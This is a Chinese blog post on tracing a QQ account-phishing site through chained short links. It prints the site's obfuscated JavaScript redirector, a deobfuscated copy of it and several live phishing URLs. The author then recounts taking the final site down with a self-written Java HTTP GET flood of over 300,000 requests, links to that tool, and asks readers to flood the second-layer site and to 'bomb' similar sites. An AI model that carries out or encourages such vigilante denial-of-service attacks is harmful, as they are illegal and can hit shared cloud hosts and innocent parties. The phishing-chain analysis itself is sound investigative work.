记一次简单的攻击QQ钓鱼网站

前言

记得本蒟蒻以前写了一个简易版的QQ钓鱼网站盗号 使用tomcat做一个小型qq网站 结果没想到这么快就遇上了真正的QQ钓鱼网站,好几个朋友都被盗号了,本蒟蒻很生气,所以本蒟蒻决定写一个简单的HTTP GET FLOOD(CC)攻击炸掉它们网站

1:探查

这是原网站

"https://url.cn/5XyLOc1"

一看就知道是短网址
去这个网站还原一下 短网址还原
然后得到了这一个网站

"https://t.uc.cn/2_2EOr3"

还是短网址继续,得到其初始网站

"https://qt-3.obs.cn-east-2.myhuaweicloud.com/getUrl.html#3840109?nsukey=aHR0cHM6Ly9pbWcuNThmbC5jYy8/cXpvbmUucXEuY29tAIOBTS"

这个网址看似长,实际上有用的部分是前面这段

"https://qt-3.obs.cn-east-2.myhuaweicloud.com/getUrl.html#3840109"

nsukey只是标识为qq访问而已(其实我也不知道什么用)

2:分析

var __Ox6b35e=["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x70\x2E\x67\x74\x69\x6D\x67\x2E\x63\x6E\x2F\x76\x69\x65\x77\x73\x2F\x34\x30\x34\x2E\x68\x74\x6D\x6C","\x3F","\x73\x70\x6C\x69\x74","\x73\x75\x62\x73\x74\x72","\x68\x61\x73\x68","\x67\x65\x74","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x65\x72\x76\x69\x63\x65\x2D\x6D\x75\x72\x6A\x6D\x6B\x31\x36\x2D\x31\x33\x30\x31\x31\x35\x36\x32\x32\x34\x2E\x67\x7A\x2E\x61\x70\x69\x67\x77\x2E\x74\x65\x6E\x63\x65\x6E\x74\x63\x73\x2E\x63\x6F\x6D\x2F\x72\x65\x6C\x65\x61\x73\x65\x2F\x67\x65\x74\x55\x72\x6C\x3F\x69\x64\x3D","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x70\x61\x72\x73\x65","\x72\x65\x73\x75\x6C\x74","\x75\x72\x6C","\x72\x65\x70\x6C\x61\x63\x65","\x6D\x73\x67","\x77\x72\x69\x74\x65","\x73\x65\x6E\x64","\x74\x69\x74\x6C\x65","\u767D\u5C4F\u8BF7\u7B49\u5F85\x2E\x2E\x2E","\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x53\x69\x7A\x65","\x73\x74\x79\x6C\x65","\x62\x6F\x64\x79","\x35\x30\x70\x78"];var y=__Ox6b35e[0x0];var p=location[__Ox6b35e[0x4]][__Ox6b35e[0x3]](1)[__Ox6b35e[0x2]](__Ox6b35e[0x1]);if(p[0x0]){var a= new XMLHttpRequest();a[__Ox6b35e[0x7]](__Ox6b35e[0x5],__Ox6b35e[0x6]+ p[0x0],true);a[__Ox6b35e[0x8]]= function(){if(this[__Ox6b35e[0x9]]== 4&& this[__Ox6b35e[0xa]]== 200){var _0x1b91x4=JSON[__Ox6b35e[0xc]](a[__Ox6b35e[0xb]]);if(_0x1b91x4[__Ox6b35e[0xd]]){location[__Ox6b35e[0xf]](_0x1b91x4[__Ox6b35e[0xe]])}else {document[__Ox6b35e[0x11]](decodeURIComponent(_0x1b91x4[__Ox6b35e[0x10]]))}}};a[__Ox6b35e[0x12]](null);document[__Ox6b35e[0x13]]= __Ox6b35e[0x14];document[__Ox6b35e[0x17]][__Ox6b35e[0x16]][__Ox6b35e[0x15]]= __Ox6b35e[0x18]}else {location[__Ox6b35e[0xf]](y)}

打开它可以得到这么一串混淆了的JS代码
然后用 js代码解析 这个网站解析一下,再替换几个变量名可得这么一串代码

var __str = ["https://mp.gtimg.cn/views/404.html", "?", "split", "substr", "hash", "get", "https://service-murjmk16-1301156224.gz.apigw.tencentcs.com/release/getUrl?id=", "open", "onreadystatechange", "readyState", "status", "responseText", "parse", "result", "url", "replace", "msg", "write", "send", "title", "白屏请等待...", "backgroundSize", "style", "body", "50px"];
var y = __str[0];
var p = location[__str[0x4]][__str[0x3]](1)[__str[0x2]](__str[0x1]); //string[]0,1是nsukey;
if (p[0]) {
    var a = new XMLHttpRequest();
    a[__str[0x7]](__str[0x5], __str[0x6] + p[0], true);
    a[__str[0x8]] = function() {
        if (this[__str[0x9]] == 4 && this[__str[0xa]] == 200) {
            var _json = JSON[__str[0xc]](a[__str[0xb]]);
            if (_json[__str[0xd]]) {
                location[__str[0xf]](_json[__str[0xe]])
            } else {
                document[__str[0x11]](decodeURIComponent(_json[__str[0x10]]))
            }
        }
    };
    a[__str[0x12]](null);
    document[__str[0x13]] = __str[0x14];
    document[__str[0x17]][__str[0x16]][__str[0x15]] = __str[0x18]
} else {
    location[__str[0xf]](y)
}

是不是好看多了呢
阅读代码可得到这么一个网站

"https://service-murjmk16-1301156224.gz.apigw.tencentcs.com/release/getUrl?id="

这个网站的id属性是由原网址

"https://qt-3.obs.cn-east-2.myhuaweicloud.com/getUrl.html#3840109"

#后面的几个数字拼接的
这个网站返回的是一个JSON数据,里面包含了第三层网站,
这一层网站有多个

"http://3h5rimye881smkqiued0.test.upcdn.net/apicloud/esgi2qpyb06gax0hnkvyhe63s15myra4.html?s=9ed1121dda6e888f82bc6301c67746a8ce82dc1b8cd7a9d2f042305534e516065d1200c11f06e4e7aa27d3dbc317ade49a1f97020b8dee80a861067322ca2821dda5b5759773fc3a9f891f5b9781eb6b78bca6b19ce5c9605a92e6cb17b5443d80084a16a5c047c9ee9c5c2194fe1543ecacfbc155389b917a8fd069b205a513"
"http://cu5w8l4cqs07ughmqe68.test.upcdn.net/apicloud/y1jqcnxggtpj29dsqlfqiptsd9wfq9kt.html?s=79e3b331a59aff3f675d29819d30e9e61557e8ab167bf1952e0de9547e2683ae69f2ff72d025a775da8150943b059b7637e9789795a2fdd08eb2737408b1b0017484fee0b6240a3284344af2d022d80cd049bf1bde7ad44fe4e064503b54174515cb21f746a5e8ac0c3691803a3e3ab013ac55052f539107845b7c50db5a0ddf"
"https://ff2.obs.cn-south-1.myhuaweicloud.com/agent.html?s=b0c762970e17f127f0909b124e59bb83ac58856798e15363f31a7629897e5094ec258cd4f8c42a1e24fca982b79549c70aa650ab73a49d1ebfb20732ca5bdae6660493eeea9509567d5b7da4f9680e019cc16cbaaa901c0b0df65c434bcd6af1b5c6ff904d7419469cef0d43e7b7cd1eae8679403c728504103ee662d25ac0a8"

现在这个s属性有点迷,不过可以推测应该是在这个网站里被盗号的,可以看出s是一个加密串256位的,AES或RSA,基本上是破解不出的,它应该是包含了qq账号和密码的一个字符串,有兴趣的julao可以去看看,本蒟蒻就不解密了

好的到现在为止我们已经快接近真相了,打开这一层的网站,发现其一段代码都指向了一个网站,也就是我们的最终网站,也是我们这次轰炸的目标(但是这个网站被我炸了打不开了,所以拿不到原JS代码)
这里面这段代码有跳转到这个网站

"https://cdn.58fl.cc/agent.html?s=原s属性&t=时间戳"

ok,这一段应该是将数据存到数据库里的(不然加什么时间戳)
然后就可以愉快的炸了

3:代码

虽然用c++可能会快一下, 但是本蒟蒻不会关于web方面c++ 所以就改用Java
Idea项目,gradle构建,webmgic框架
代码很简单基于webmagic,但其为TLSv3协议,Java还不支持,索性就跳过https了
重写了HttpClientGenerator.java,效率不错,8min发了30多万条数据,日志都到256MB了,现在已被炸崩了.
代码地址:由于 太短 本蒟蒻没放到gitee里.
链接: 百度网盘 提取码: s4yp(挂了私信我)

4:总结

本蒟蒻前前后后花了4个小时,这次有点不足的是只炸了最终网站,emmmm,如果有julao能帮我把第二个网站炸掉吧

希望大家以后见到这种行为也把它举报或炸掉

你可能感兴趣的:(Java,web)